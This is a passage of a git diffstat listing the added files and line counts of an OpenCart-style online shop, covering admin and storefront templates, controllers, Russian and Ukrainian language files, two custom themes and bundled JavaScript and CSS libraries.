.../extension/report/marketing_info.twig | 137 +
.../report/product_purchased_form.twig | 53 +
.../report/product_purchased_info.twig | 135 +
.../extension/report/product_viewed_form.twig | 53 +
.../extension/report/product_viewed_info.twig | 44 +
.../extension/report/sale_coupon_form.twig | 53 +
.../extension/report/sale_coupon_info.twig | 100 +
.../extension/report/sale_order_form.twig | 53 +
.../extension/report/sale_order_info.twig | 177 +
.../extension/report/sale_return_form.twig | 53 +
.../extension/report/sale_return_info.twig | 181 +
.../extension/report/sale_shipping_form.twig | 53 +
.../extension/report/sale_shipping_info.twig | 173 +
.../extension/report/sale_tax_form.twig | 53 +
.../extension/report/sale_tax_info.twig | 185 +
.../template/extension/shipping/flat.twig | 89 +
.../template/extension/theme/default.twig | 264 +
.../template/extension/theme/dominik.twig | 264 +
.../extension/theme/theme_lightshop.twig | 4157 +
.../extension/theme/theme_lightshop_nl.twig | 111 +
.../view/template/extension/total/coupon.twig | 53 +
.../view/template/extension/total/credit.twig | 53 +
.../template/extension/total/handling.twig | 80 +
.../extension/total/lightshopsets.twig | 53 +
.../extension/total/low_order_fee.twig | 80 +
.../view/template/extension/total/reward.twig | 53 +
.../template/extension/total/shipping.twig | 67 +
.../template/extension/total/sub_total.twig | 53 +
.../view/template/extension/total/tax.twig | 53 +
.../view/template/extension/total/total.twig | 53 +
.../template/extension/total/voucher.twig | 53 +
.../template/localisation/country_form.twig | 97 +
.../template/localisation/country_list.twig | 88 +
.../template/localisation/currency_form.twig | 90 +
.../template/localisation/currency_list.twig | 94 +
.../template/localisation/geo_zone_form.twig | 159 +
.../template/localisation/geo_zone_list.twig | 82 +
.../template/localisation/language_form.twig | 88 +
.../template/localisation/language_list.twig | 88 +
.../localisation/length_class_form.twig | 65 +
.../localisation/length_class_list.twig | 88 +
.../template/localisation/location_form.twig | 90 +
.../template/localisation/location_list.twig | 82 +
.../localisation/order_status_form.twig | 46 +
.../localisation/order_status_list.twig | 76 +
.../localisation/return_action_form.twig | 46 +
.../localisation/return_action_list.twig | 76 +
.../localisation/return_reason_form.twig | 46 +
.../localisation/return_reason_list.twig | 76 +
.../localisation/return_status_form.twig | 46 +
.../localisation/return_status_list.twig | 76 +
.../localisation/stock_status_form.twig | 46 +
.../localisation/stock_status_list.twig | 76 +
.../template/localisation/tax_class_form.twig | 171 +
.../template/localisation/tax_class_list.twig | 76 +
.../template/localisation/tax_rate_form.twig | 100 +
.../template/localisation/tax_rate_list.twig | 106 +
.../localisation/weight_class_form.twig | 65 +
.../localisation/weight_class_list.twig | 88 +
.../view/template/localisation/zone_form.twig | 76 +
.../view/template/localisation/zone_list.twig | 88 +
.../view/template/mail/affiliate_approve.twig | 10 +
.../view/template/mail/affiliate_deny.twig | 8 +
.../view/template/mail/customer_approve.twig | 10 +
.../view/template/mail/customer_deny.twig | 8 +
.../admin/view/template/mail/forgotten.twig | 9 +
public/admin/view/template/mail/return.twig | 16 +
public/admin/view/template/mail/reward.twig | 3 +
.../admin/view/template/mail/transaction.twig | 5 +
public/admin/view/template/mail/voucher.twig | 52 +
.../view/template/marketing/contact.twig | 265 +
.../view/template/marketing/coupon_form.twig | 290 +
.../template/marketing/coupon_history.twig | 32 +
.../view/template/marketing/coupon_list.twig | 106 +
.../template/marketing/marketing_form.twig | 72 +
.../template/marketing/marketing_list.twig | 146 +
.../admin/view/template/marketplace/api.twig | 64 +
.../view/template/marketplace/event.twig | 94 +
.../view/template/marketplace/extension.twig | 117 +
.../view/template/marketplace/installer.twig | 182 +
.../marketplace/installer_history.twig | 32 +
.../marketplace/marketplace_comment.twig | 46 +
.../marketplace/marketplace_info.twig | 524 +
.../marketplace/marketplace_list.twig | 205 +
.../marketplace/marketplace_reply.twig | 20 +
.../template/marketplace/modification.twig | 252 +
.../marketplace/modification_file.twig | 42 +
.../marketplace/modification_form.twig | 230 +
.../marketplace/modification_operation.twig | 97 +
.../marketplace/opencartforum_info.twig | 137 +
.../marketplace/opencartforum_list.twig | 176 +
public/admin/view/template/report/online.twig | 131 +
public/admin/view/template/report/report.twig | 46 +
.../view/template/report/statistics.twig | 58 +
.../admin/view/template/sale/order_form.twig | 2494 +
.../view/template/sale/order_history.twig | 32 +
.../admin/view/template/sale/order_info.twig | 597 +
.../view/template/sale/order_invoice.twig | 125 +
.../admin/view/template/sale/order_list.twig | 302 +
.../view/template/sale/order_shipping.twig | 122 +
.../view/template/sale/recurring_button.twig | 7 +
.../view/template/sale/recurring_info.twig | 145 +
.../view/template/sale/recurring_list.twig | 212 +
.../admin/view/template/sale/return_form.twig | 343 +
.../view/template/sale/return_history.twig | 38 +
.../admin/view/template/sale/return_list.twig | 331 +
.../view/template/sale/voucher_form.twig | 182 +
.../view/template/sale/voucher_history.twig | 32 +
.../view/template/sale/voucher_list.twig | 149 +
.../template/sale/voucher_theme_form.twig | 55 +
.../template/sale/voucher_theme_list.twig | 76 +
.../view/template/search/catalog_result.twig | 53 +
.../template/search/customers_result.twig | 20 +
.../view/template/search/orders_result.twig | 21 +
public/admin/view/template/search/search.twig | 75 +
.../view/template/service/service_form.twig | 381 +
.../view/template/service/service_list.twig | 207 +
.../admin/view/template/setting/setting.twig | 1693 +
.../view/template/setting/store_form.twig | 627 +
.../view/template/setting/store_list.twig | 70 +
public/admin/view/template/tool/backup.twig | 170 +
public/admin/view/template/tool/log.twig | 38 +
public/admin/view/template/tool/upload.twig | 136 +
public/admin/view/template/user/api_form.twig | 206 +
public/admin/view/template/user/api_list.twig | 94 +
.../admin/view/template/user/user_form.twig | 121 +
.../view/template/user/user_group_form.twig | 102 +
.../view/template/user/user_group_list.twig | 76 +
.../admin/view/template/user/user_list.twig | 88 +
public/index.php | 21 +
public/php.ini | 18 +
public/robots.txt | 47 +
public/store/controller/account/account.php | 125 +
public/store/controller/account/address.php | 497 +
public/store/controller/account/affiliate.php | 305 +
public/store/controller/account/download.php | 151 +
public/store/controller/account/edit.php | 197 +
public/store/controller/account/forgotten.php | 87 +
public/store/controller/account/login.php | 189 +
public/store/controller/account/logout.php | 59 +
.../store/controller/account/newsletter.php | 60 +
public/store/controller/account/order.php | 405 +
public/store/controller/account/password.php | 96 +
public/store/controller/account/recurring.php | 222 +
public/store/controller/account/register.php | 322 +
public/store/controller/account/reset.php | 113 +
public/store/controller/account/return.php | 547 +
public/store/controller/account/reward.php | 89 +
public/store/controller/account/success.php | 50 +
public/store/controller/account/tracking.php | 90 +
.../store/controller/account/transaction.php | 89 +
public/store/controller/account/voucher.php | 223 +
public/store/controller/account/wishlist.php | 195 +
public/store/controller/affiliate/login.php | 125 +
.../store/controller/affiliate/register.php | 397 +
public/store/controller/affiliate/success.php | 52 +
public/store/controller/api/cart.php | 259 +
public/store/controller/api/coupon.php | 36 +
public/store/controller/api/currency.php | 30 +
public/store/controller/api/customer.php | 97 +
public/store/controller/api/login.php | 52 +
public/store/controller/api/order.php | 810 +
public/store/controller/api/payment.php | 278 +
public/store/controller/api/reward.php | 82 +
public/store/controller/api/shipping.php | 255 +
public/store/controller/api/voucher.php | 137 +
public/store/controller/blog/article.php | 514 +
public/store/controller/blog/category.php | 417 +
public/store/controller/blog/latest.php | 306 +
public/store/controller/blog/menu.php | 66 +
public/store/controller/checkout/cart.php | 482 +
public/store/controller/checkout/checkout.php | 152 +
public/store/controller/checkout/confirm.php | 420 +
public/store/controller/checkout/failure.php | 47 +
public/store/controller/checkout/guest.php | 350 +
.../controller/checkout/guest_shipping.php | 208 +
public/store/controller/checkout/login.php | 95 +
.../controller/checkout/payment_address.php | 176 +
.../controller/checkout/payment_method.php | 193 +
public/store/controller/checkout/register.php | 251 +
.../controller/checkout/shipping_address.php | 187 +
.../controller/checkout/shipping_method.php | 134 +
public/store/controller/checkout/success.php | 80 +
public/store/controller/common/cart.php | 142 +
.../store/controller/common/column_left.php | 83 +
.../store/controller/common/column_right.php | 83 +
.../controller/common/content_bottom.php | 83 +
.../store/controller/common/content_top.php | 83 +
public/store/controller/common/currency.php | 64 +
public/store/controller/common/footer.php | 68 +
public/store/controller/common/header.php | 108 +
public/store/controller/common/home.php | 25 +
public/store/controller/common/language.php | 102 +
.../store/controller/common/maintenance.php | 30 +
public/store/controller/common/menu.php | 46 +
public/store/controller/common/search.php | 16 +
public/store/controller/error/not_found.php | 60 +
public/store/controller/event/activity.php | 249 +
public/store/controller/event/debug.php | 21 +
public/store/controller/event/language.php | 26 +
public/store/controller/event/statistics.php | 57 +
public/store/controller/event/theme.php | 31 +
public/store/controller/event/translation.php | 16 +
.../controller/extension/advertise/google.php | 380 +
.../controller/extension/analytics/google.php | 6 +
.../extension/analytics/yandex_metrika.php | 23 +
.../controller/extension/captcha/basic.php | 57 +
.../controller/extension/captcha/google.php | 38 +
.../controller/extension/feed/google_base.php | 146 +
.../extension/feed/google_sitemap.php | 107 +
.../extension/feed/google_sitemap_fast.php | 98 +
.../controller/extension/feed/unisender.php | 109 +
.../extension/feed/yandex_market.php | 542 +
.../extension/feed/yandex_turbo.php | 180 +
.../controller/extension/module/account.php | 26 +
.../controller/extension/module/banner.php | 34 +
.../extension/module/bestseller.php | 78 +
.../extension/module/blog_category.php | 68 +
.../extension/module/blog_featured.php | 56 +
.../extension/module/blog_latest.php | 53 +
.../controller/extension/module/callback.php | 141 +
.../controller/extension/module/carousel.php | 31 +
.../controller/extension/module/category.php | 64 +
.../controller/extension/module/featured.php | 88 +
.../extension/module/featured_article.php | 90 +
.../extension/module/featured_product.php | 105 +
.../controller/extension/module/filter.php | 74 +
.../controller/extension/module/html.php | 11 +
.../extension/module/information.php | 22 +
.../controller/extension/module/latest.php | 78 +
.../controller/extension/module/slideshow.php | 31 +
.../controller/extension/module/special.php | 71 +
.../controller/extension/module/store.php | 40 +
.../extension/module/subcategory.php | 42 +
.../extension/module/wd_banners.php | 60 +
.../controller/extension/payment/cod.php | 21 +
.../controller/extension/total/coupon.php | 49 +
.../controller/extension/total/reward.php | 73 +
.../controller/extension/total/shipping.php | 215 +
.../controller/extension/total/voucher.php | 103 +
.../store/controller/information/contact.php | 221 +
.../controller/information/information.php | 112 +
.../store/controller/information/sitemap.php | 89 +
public/store/controller/mail/affiliate.php | 120 +
public/store/controller/mail/forgotten.php | 28 +
public/store/controller/mail/order.php | 474 +
public/store/controller/mail/register.php | 107 +
public/store/controller/mail/transaction.php | 37 +
public/store/controller/product/category.php | 498 +
public/store/controller/product/compare.php | 176 +
.../store/controller/product/manufacturer.php | 461 +
public/store/controller/product/product.php | 703 +
public/store/controller/product/search.php | 464 +
public/store/controller/product/special.php | 318 +
public/store/controller/service/service.php | 502 +
public/store/controller/startup/error.php | 43 +
public/store/controller/startup/event.php | 13 +
.../store/controller/startup/maintenance.php | 25 +
public/store/controller/startup/router.php | 36 +
public/store/controller/startup/seo_url.php | 185 +
public/store/controller/startup/session.php | 31 +
public/store/controller/startup/startup.php | 202 +
public/store/controller/tool/callback.php | 94 +
public/store/controller/tool/upload.php | 78 +
.../store/language/ru-ru/account/account.php | 29 +
.../store/language/ru-ru/account/address.php | 40 +
.../language/ru-ru/account/affiliate.php | 38 +
.../store/language/ru-ru/account/download.php | 17 +
public/store/language/ru-ru/account/edit.php | 27 +
.../language/ru-ru/account/forgotten.php | 20 +
public/store/language/ru-ru/account/login.php | 25 +
.../store/language/ru-ru/account/logout.php | 11 +
.../language/ru-ru/account/newsletter.php | 14 +
public/store/language/ru-ru/account/order.php | 40 +
.../store/language/ru-ru/account/password.php | 19 +
.../language/ru-ru/account/recurring.php | 55 +
.../store/language/ru-ru/account/register.php | 50 +
public/store/language/ru-ru/account/reset.php | 20 +
.../store/language/ru-ru/account/return.php | 65 +
.../store/language/ru-ru/account/reward.php | 17 +
.../store/language/ru-ru/account/success.php | 12 +
.../store/language/ru-ru/account/tracking.php | 18 +
.../language/ru-ru/account/transaction.php | 17 +
.../store/language/ru-ru/account/voucher.php | 35 +
.../store/language/ru-ru/account/wishlist.php | 23 +
.../language/ru-ru/affiliate/account.php | 17 +
.../store/language/ru-ru/affiliate/edit.php | 40 +
.../language/ru-ru/affiliate/forgotten.php | 20 +
.../store/language/ru-ru/affiliate/login.php | 25 +
.../store/language/ru-ru/affiliate/logout.php | 11 +
.../language/ru-ru/affiliate/password.php | 19 +
.../language/ru-ru/affiliate/payment.php | 27 +
.../language/ru-ru/affiliate/register.php | 61 +
.../language/ru-ru/affiliate/success.php | 12 +
.../language/ru-ru/affiliate/tracking.php | 18 +
.../language/ru-ru/affiliate/transaction.php | 17 +
public/store/language/ru-ru/api/cart.php | 13 +
public/store/language/ru-ru/api/coupon.php | 10 +
public/store/language/ru-ru/api/currency.php | 10 +
public/store/language/ru-ru/api/customer.php | 14 +
public/store/language/ru-ru/api/login.php | 10 +
public/store/language/ru-ru/api/order.php | 19 +
public/store/language/ru-ru/api/payment.php | 21 +
public/store/language/ru-ru/api/reward.php | 12 +
public/store/language/ru-ru/api/shipping.php | 21 +
public/store/language/ru-ru/api/voucher.php | 18 +
public/store/language/ru-ru/blog/article.php | 35 +
public/store/language/ru-ru/blog/category.php | 31 +
public/store/language/ru-ru/blog/latest.php | 33 +
.../store/language/ru-ru/blog/mail/review.php | 11 +
public/store/language/ru-ru/blog/menu.php | 7 +
public/store/language/ru-ru/checkout/cart.php | 45 +
.../language/ru-ru/checkout/checkout.php | 98 +
.../store/language/ru-ru/checkout/failure.php | 23 +
.../store/language/ru-ru/checkout/success.php | 14 +
public/store/language/ru-ru/common/cart.php | 10 +
.../store/language/ru-ru/common/currency.php | 6 +
public/store/language/ru-ru/common/footer.php | 23 +
public/store/language/ru-ru/common/header.php | 18 +
.../store/language/ru-ru/common/language.php | 6 +
.../language/ru-ru/common/maintenance.php | 10 +
public/store/language/ru-ru/common/menu.php | 6 +
public/store/language/ru-ru/common/search.php | 6 +
.../store/language/ru-ru/error/not_found.php | 16 +
.../ru-ru/extension/captcha/basic.php | 12 +
.../ru-ru/extension/captcha/google.php | 12 +
.../ru-ru/extension/module/account.php | 24 +
.../ru-ru/extension/module/affiliate.php | 18 +
.../ru-ru/extension/module/bestseller.php | 9 +
.../ru-ru/extension/module/blog_category.php | 6 +
.../ru-ru/extension/module/blog_featured.php | 11 +
.../ru-ru/extension/module/blog_latest.php | 11 +
.../ru-ru/extension/module/callback.php | 22 +
.../ru-ru/extension/module/category.php | 6 +
.../ru-ru/extension/module/ebay_listing.php | 5 +
.../ru-ru/extension/module/featured.php | 9 +
.../extension/module/featured_article.php | 11 +
.../extension/module/featured_product.php | 9 +
.../ru-ru/extension/module/filter.php | 6 +
.../ru-ru/extension/module/information.php | 10 +
.../ru-ru/extension/module/jljzflw.php | 58 +
.../ru-ru/extension/module/latest.php | 9 +
.../ru-ru/extension/module/lightshop_blog.php | 73 +
.../extension/module/lightshop_blog_mod.php | 56 +
.../ru-ru/extension/module/lightshop_news.php | 52 +
.../ru-ru/extension/module/lightshop_set.php | 8 +
.../ru-ru/extension/module/manufacturer.php | 6 +
.../ru-ru/extension/module/popular.php | 12 +
.../ru-ru/extension/module/special.php | 9 +
.../language/ru-ru/extension/module/store.php | 10 +
.../ru-ru/extension/module/subscribe.php | 24 +
.../ru-ru/extension/openbay/amazon_order.php | 13 +
.../extension/openbay/amazonus_order.php | 13 +
.../ru-ru/extension/openbay/ebay_order.php | 12 +
.../ru-ru/extension/openbay/etsy_order.php | 10 +
.../language/ru-ru/extension/payment/cod.php | 6 +
.../ru-ru/extension/shipping/flat.php | 7 +
.../ru-ru/extension/theme/lightshop.php | 101 +
.../language/ru-ru/extension/total/coupon.php | 17 +
.../language/ru-ru/extension/total/credit.php | 6 +
.../ru-ru/extension/total/handling.php | 5 +
.../ru-ru/extension/total/lightshopsets.php | 2 +
.../ru-ru/extension/total/low_order_fee.php | 5 +
.../language/ru-ru/extension/total/reward.php | 19 +
.../ru-ru/extension/total/shipping.php | 23 +
.../ru-ru/extension/total/sub_total.php | 5 +
.../language/ru-ru/extension/total/total.php | 5 +
.../ru-ru/extension/total/voucher.php | 17 +
.../language/ru-ru/information/contact.php | 36 +
.../ru-ru/information/information.php | 6 +
.../language/ru-ru/information/sitemap.php | 20 +
.../store/language/ru-ru/mail/affiliate.php | 20 +
.../store/language/ru-ru/mail/forgotten.php | 10 +
.../store/language/ru-ru/mail/order_add.php | 30 +
.../store/language/ru-ru/mail/order_alert.php | 13 +
.../store/language/ru-ru/mail/order_edit.php | 12 +
public/store/language/ru-ru/mail/register.php | 18 +
public/store/language/ru-ru/mail/review.php | 11 +
.../store/language/ru-ru/mail/transaction.php | 9 +
public/store/language/ru-ru/mail/voucher.php | 11 +
.../language/ru-ru/product/bestseller.php | 28 +
.../store/language/ru-ru/product/category.php | 28 +
.../store/language/ru-ru/product/compare.php | 25 +
.../store/language/ru-ru/product/latest.php | 28 +
.../language/ru-ru/product/manufacturer.php | 31 +
.../language/ru-ru/product/mostviewed.php | 36 +
.../store/language/ru-ru/product/product.php | 54 +
.../store/language/ru-ru/product/search.php | 38 +
.../store/language/ru-ru/product/special.php | 28 +
public/store/language/ru-ru/ru-ru.php | 72 +
public/store/language/ru-ru/ru-ru.png | Bin 0 -> 420 bytes
.../store/language/ru-ru/service/service.php | 29 +
public/store/language/ru-ru/tool/upload.php | 11 +
.../uk-ua/extension/module/callback.php | 24 +
.../uk-ua/extension/module/lightshop_blog.php | 70 +
.../extension/module/lightshop_blog_mod.php | 57 +
.../uk-ua/extension/module/lightshop_news.php | 52 +
.../uk-ua/extension/module/lightshop_set.php | 7 +
.../uk-ua/extension/module/subscribe.php | 24 +
.../uk-ua/extension/theme/lightshop.php | 99 +
.../uk-ua/extension/total/lightshopsets.php | 2 +
public/store/model/account/activity.php | 12 +
public/store/model/account/address.php | 145 +
public/store/model/account/api.php | 20 +
public/store/model/account/custom_field.php | 47 +
public/store/model/account/customer.php | 152 +
public/store/model/account/customer_group.php | 14 +
public/store/model/account/download.php | 64 +
public/store/model/account/order.php | 170 +
public/store/model/account/recurring.php | 48 +
public/store/model/account/return.php | 40 +
public/store/model/account/reward.php | 56 +
public/store/model/account/search.php | 6 +
public/store/model/account/transaction.php | 56 +
public/store/model/account/wishlist.php | 24 +
public/store/model/blog/article.php | 437 +
public/store/model/blog/category.php | 59 +
public/store/model/blog/review.php | 74 +
public/store/model/catalog/category.php | 69 +
public/store/model/catalog/cms.php | 256 +
public/store/model/catalog/information.php | 24 +
public/store/model/catalog/manufacturer.php | 72 +
public/store/model/catalog/product.php | 546 +
public/store/model/catalog/review.php | 69 +
public/store/model/checkout/marketing.php | 8 +
public/store/model/checkout/order.php | 385 +
public/store/model/checkout/recurring.php | 18 +
public/store/model/design/banner.php | 7 +
public/store/model/design/layout.php | 18 +
public/store/model/design/theme.php | 8 +
public/store/model/design/translation.php | 10 +
.../model/extension/advertise/google.php | 141 +
.../model/extension/feed/google_base.php | 14 +
.../model/extension/feed/yandex_market.php | 49 +
.../model/extension/feed/yandex_turbo.php | 15 +
.../model/extension/fraud/fraudlabspro.php | 163 +
public/store/model/extension/fraud/ip.php | 32 +
.../store/model/extension/fraud/maxmind.php | 380 +
.../store/model/extension/module/callback.php | 11 +
.../model/extension/module/lbcomment.php | 83 +
.../model/extension/module/lightshop.php | 430 +
.../model/extension/module/lightshopblog.php | 204 +
.../extension/module/lightshopcatblog.php | 128 +
.../model/extension/module/lightshopnews.php | 48 +
.../extension/module/lightshopsubscribe.php | 38 +
public/store/model/extension/payment/cod.php | 33 +
.../store/model/extension/shipping/flat.php | 40 +
public/store/model/extension/total/coupon.php | 242 +
public/store/model/extension/total/credit.php | 35 +
.../store/model/extension/total/handling.php | 29 +
.../model/extension/total/lightshopsets.php | 52 +
.../model/extension/total/low_order_fee.php | 29 +
public/store/model/extension/total/reward.php | 78 +
.../store/model/extension/total/shipping.php | 27 +
.../store/model/extension/total/sub_total.php | 23 +
public/store/model/extension/total/tax.php | 17 +
public/store/model/extension/total/total.php | 13 +
.../store/model/extension/total/voucher.php | 124 +
.../model/extension/total/voucher_theme.php | 48 +
public/store/model/localisation/country.php | 22 +
public/store/model/localisation/currency.php | 36 +
public/store/model/localisation/language.php | 35 +
public/store/model/localisation/location.php | 8 +
.../store/model/localisation/order_status.php | 22 +
.../model/localisation/return_reason.php | 44 +
public/store/model/localisation/zone.php | 22 +
public/store/model/report/statistics.php | 30 +
public/store/model/service/service.php | 223 +
public/store/model/setting/api.php | 8 +
public/store/model/setting/event.php | 8 +
public/store/model/setting/extension.php | 8 +
public/store/model/setting/module.php | 12 +
public/store/model/setting/setting.php | 28 +
public/store/model/setting/store.php | 16 +
public/store/model/tool/image.php | 50 +
public/store/model/tool/online.php | 8 +
public/store/model/tool/sitemap.php | 119 +
public/store/model/tool/upload.php | 16 +
.../bootstrap/css/bootstrap-theme.css | 587 +
.../bootstrap/css/bootstrap-theme.css.map | 1 +
.../bootstrap/css/bootstrap-theme.min.css | 5 +
.../javascript/bootstrap/css/bootstrap.css | 6800 ++
.../bootstrap/css/bootstrap.css.map | 1 +
.../bootstrap/css/bootstrap.min.css | 5 +
.../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20127 bytes
.../fonts/glyphicons-halflings-regular.svg | 288 +
.../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 45404 bytes
.../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23424 bytes
.../fonts/glyphicons-halflings-regular.woff2 | Bin 0 -> 18028 bytes
.../view/javascript/bootstrap/js/bootstrap.js | 2363 +
.../javascript/bootstrap/js/bootstrap.min.js | 7 +
.../store/view/javascript/bootstrap/js/npm.js | 13 +
public/store/view/javascript/common.js | 490 +
.../font-awesome/css/font-awesome.css | 2337 +
.../font-awesome/css/font-awesome.min.css | 4 +
.../font-awesome/fonts/FontAwesome.otf | Bin 0 -> 134808 bytes
.../fonts/fontawesome-webfont.eot | Bin 0 -> 165742 bytes
.../fonts/fontawesome-webfont.svg | 2671 +
.../fonts/fontawesome-webfont.ttf | Bin 0 -> 165548 bytes
.../fonts/fontawesome-webfont.woff | Bin 0 -> 98024 bytes
.../fonts/fontawesome-webfont.woff2 | Bin 0 -> 77160 bytes
.../font-awesome/less/animated.less | 34 +
.../font-awesome/less/bordered-pulled.less | 25 +
.../javascript/font-awesome/less/core.less | 12 +
.../font-awesome/less/fixed-width.less | 6 +
.../font-awesome/less/font-awesome.less | 18 +
.../javascript/font-awesome/less/icons.less | 789 +
.../javascript/font-awesome/less/larger.less | 13 +
.../javascript/font-awesome/less/list.less | 19 +
.../javascript/font-awesome/less/mixins.less | 60 +
.../javascript/font-awesome/less/path.less | 15 +
.../font-awesome/less/rotated-flipped.less | 20 +
.../font-awesome/less/screen-reader.less | 5 +
.../javascript/font-awesome/less/stacked.less | 20 +
.../font-awesome/less/variables.less | 800 +
.../font-awesome/scss/_animated.scss | 34 +
.../font-awesome/scss/_bordered-pulled.scss | 25 +
.../javascript/font-awesome/scss/_core.scss | 12 +
.../font-awesome/scss/_fixed-width.scss | 6 +
.../javascript/font-awesome/scss/_icons.scss | 789 +
.../javascript/font-awesome/scss/_larger.scss | 13 +
.../javascript/font-awesome/scss/_list.scss | 19 +
.../javascript/font-awesome/scss/_mixins.scss | 60 +
.../javascript/font-awesome/scss/_path.scss | 15 +
.../font-awesome/scss/_rotated-flipped.scss | 20 +
.../font-awesome/scss/_screen-reader.scss | 5 +
.../font-awesome/scss/_stacked.scss | 20 +
.../font-awesome/scss/_variables.scss | 800 +
.../font-awesome/scss/font-awesome.scss | 18 +
.../bootstrap-datetimepicker.min.css | 5 +
.../bootstrap-datetimepicker.min.js | 1 +
.../jquery/datetimepicker/moment/locales.js | 9252 ++
.../datetimepicker/moment/locales.min.js | 498 +
.../moment/moment-with-locales.js | 13700 +++
.../moment/moment-with-locales.min.js | 505 +
.../datetimepicker/moment/moment.min.js | 7 +
.../jquery/datetimepicker/moment/tests.js | 78265 ++++++++++++++++
.../javascript/jquery/jquery-2.1.1.min.js | 4 +
.../javascript/jquery/jquery-2.1.1.min.map | 1 +
.../magnific/jquery.magnific-popup.min.js | 4 +
.../jquery/magnific/magnific-popup.css | 363 +
.../javascript/jquery/swiper/css/opencart.css | 100 +
.../javascript/jquery/swiper/css/swiper.css | 575 +
.../jquery/swiper/css/swiper.min.css | 15 +
.../swiper/js/maps/swiper.jquery.min.js.map | 1 +
.../js/maps/swiper.jquery.umd.min.js.map | 1 +
.../jquery/swiper/js/maps/swiper.min.js.map | 1 +
.../jquery/swiper/js/swiper.jquery.js | 4688 +
.../jquery/swiper/js/swiper.jquery.min.js | 18 +
.../jquery/swiper/js/swiper.jquery.umd.js | 4677 +
.../jquery/swiper/js/swiper.jquery.umd.min.js | 18 +
.../javascript/jquery/swiper/js/swiper.js | 5354 ++
.../javascript/jquery/swiper/js/swiper.min.js | 19 +
public/store/view/javascript/qrcode.js | 1 +
.../theme_lightshop/bootstrap.min.js | 13 +
.../theme_lightshop/fontawesome/js/all.js | 4523 +
.../theme_lightshop/fontawesome/js/all.min.js | 5 +
.../theme_lightshop/fontawesome/js/brands.js | 586 +
.../fontawesome/js/brands.min.js | 5 +
.../fontawesome/js/conflict-detection.js | 998 +
.../fontawesome/js/conflict-detection.min.js | 5 +
.../fontawesome/js/fontawesome.js | 2539 +
.../fontawesome/js/fontawesome.min.js | 5 +
.../theme_lightshop/fontawesome/js/regular.js | 280 +
.../fontawesome/js/regular.min.js | 5 +
.../theme_lightshop/fontawesome/js/solid.js | 1130 +
.../fontawesome/js/solid.min.js | 5 +
.../fontawesome/js/v4-shims.js | 68 +
.../fontawesome/js/v4-shims.min.js | 5 +
.../javascript/theme_lightshop/functions.js | 3849 +
.../theme_lightshop/functions.min.js | 1 +
.../theme_lightshop/jquery-2.2.4.min.js | 4 +
.../theme_lightshop/jquery-ui.min.js | 7 +
.../theme_lightshop/jquery.lazyload.js | 143 +
.../javascript/theme_lightshop/widgets.js | 40 +
.../view/theme/dominik/assets/css/banners.css | 47 +
.../dominik/assets/css/bootstrap.min.css | 7 +
.../dominik/assets/css/bootstrap.min.css.map | 1 +
.../view/theme/dominik/assets/css/main.css | 839 +
.../theme/dominik/assets/css/slideshow.css | 49 +
.../dominik/assets/css/swiper-bundle.min.css | 13 +
.../theme/dominik/assets/css/zoomove.min.css | 10 +
.../dominik/assets/js/bootstrap.bundle.min.js | 7 +
.../assets/js/bootstrap.bundle.min.js.map | 1 +
.../dominik/assets/js/jquery-3.6.3.min.js | 2 +
.../view/theme/dominik/assets/js/script.js | 576 +
.../theme/dominik/assets/js/swiper-bundle.js | 10702 +++
.../dominik/assets/js/swiper-bundle.js.map | 1 +
.../theme/dominik/assets/js/zoomove.min.js | 9 +
.../view/theme/dominik/image/dominik.png | Bin 0 -> 710081 bytes
.../dominik/template/account/account.twig | 62 +
.../template/account/address_form.twig | 417 +
.../template/account/address_list.twig | 49 +
.../dominik/template/account/affiliate.twig | 410 +
.../dominik/template/account/download.twig | 58 +
.../theme/dominik/template/account/edit.twig | 312 +
.../dominik/template/account/forgotten.twig | 42 +
.../theme/dominik/template/account/login.twig | 55 +
.../dominik/template/account/newsletter.twig | 51 +
.../dominik/template/account/order_info.twig | 165 +
.../dominik/template/account/order_list.twig | 60 +
.../dominik/template/account/password.twig | 50 +
.../template/account/recurring_info.twig | 84 +
.../template/account/recurring_list.twig | 55 +
.../dominik/template/account/register.twig | 419 +
.../theme/dominik/template/account/reset.twig | 48 +
.../dominik/template/account/return_form.twig | 177 +
.../dominik/template/account/return_info.twig | 122 +
.../dominik/template/account/return_list.twig | 60 +
.../dominik/template/account/reward.twig | 59 +
.../dominik/template/account/tracking.twig | 67 +
.../dominik/template/account/transaction.twig | 57 +
.../dominik/template/account/voucher.twig | 112 +
.../dominik/template/account/wishlist.twig | 32 +
.../dominik/template/affiliate/login.twig | 56 +
.../dominik/template/affiliate/register.twig | 712 +
.../theme/dominik/template/blog/article.twig | 436 +
.../theme/dominik/template/blog/category.twig | 58 +
.../theme/dominik/template/blog/latest.twig | 93 +
.../theme/dominik/template/blog/menu.twig | 7 +
.../theme/dominik/template/blog/review.twig | 19 +
.../theme/dominik/template/checkout/cart.twig | 119 +
.../dominik/template/checkout/checkout.twig | 814 +
.../dominik/template/checkout/confirm.twig | 55 +
.../dominik/template/checkout/guest.twig | 512 +
.../template/checkout/guest_shipping.twig | 335 +
.../dominik/template/checkout/login.twig | 39 +
.../template/checkout/payment_address.twig | 350 +
.../template/checkout/payment_method.twig | 43 +
.../dominik/template/checkout/register.twig | 543 +
.../template/checkout/shipping_address.twig | 349 +
.../template/checkout/shipping_method.twig | 33 +
.../theme/dominik/template/common/cart.twig | 51 +
.../dominik/template/common/column_left.twig | 7 +
.../dominik/template/common/column_right.twig | 7 +
.../template/common/content_bottom.twig | 3 +
.../dominik/template/common/content_top.twig | 3 +
.../dominik/template/common/currency.twig | 26 +
.../theme/dominik/template/common/footer.twig | 36 +
.../theme/dominik/template/common/header.twig | 107 +
.../theme/dominik/template/common/home.twig | 10 +
.../dominik/template/common/language.twig | 24 +
.../dominik/template/common/maintenance.twig | 7 +
.../theme/dominik/template/common/menu.twig | 39 +
.../dominik/template/common/product.twig | 16 +
.../theme/dominik/template/common/search.twig | 6 +
.../dominik/template/common/success.twig | 25 +
.../dominik/template/error/not_found.twig | 24 +
.../google_dynamic_remarketing_cart.twig | 13 +
.../google_dynamic_remarketing_category.twig | 7 +
.../google_dynamic_remarketing_home.twig | 6 +
.../google_dynamic_remarketing_product.twig | 53 +
.../google_dynamic_remarketing_purchase.twig | 17 +
...gle_dynamic_remarketing_searchresults.twig | 6 +
.../template/extension/captcha/basic.twig | 19 +
.../template/extension/captcha/google.twig | 18 +
.../template/extension/module/account.twig | 13 +
.../template/extension/module/banner.twig | 21 +
.../template/extension/module/bestseller.twig | 42 +
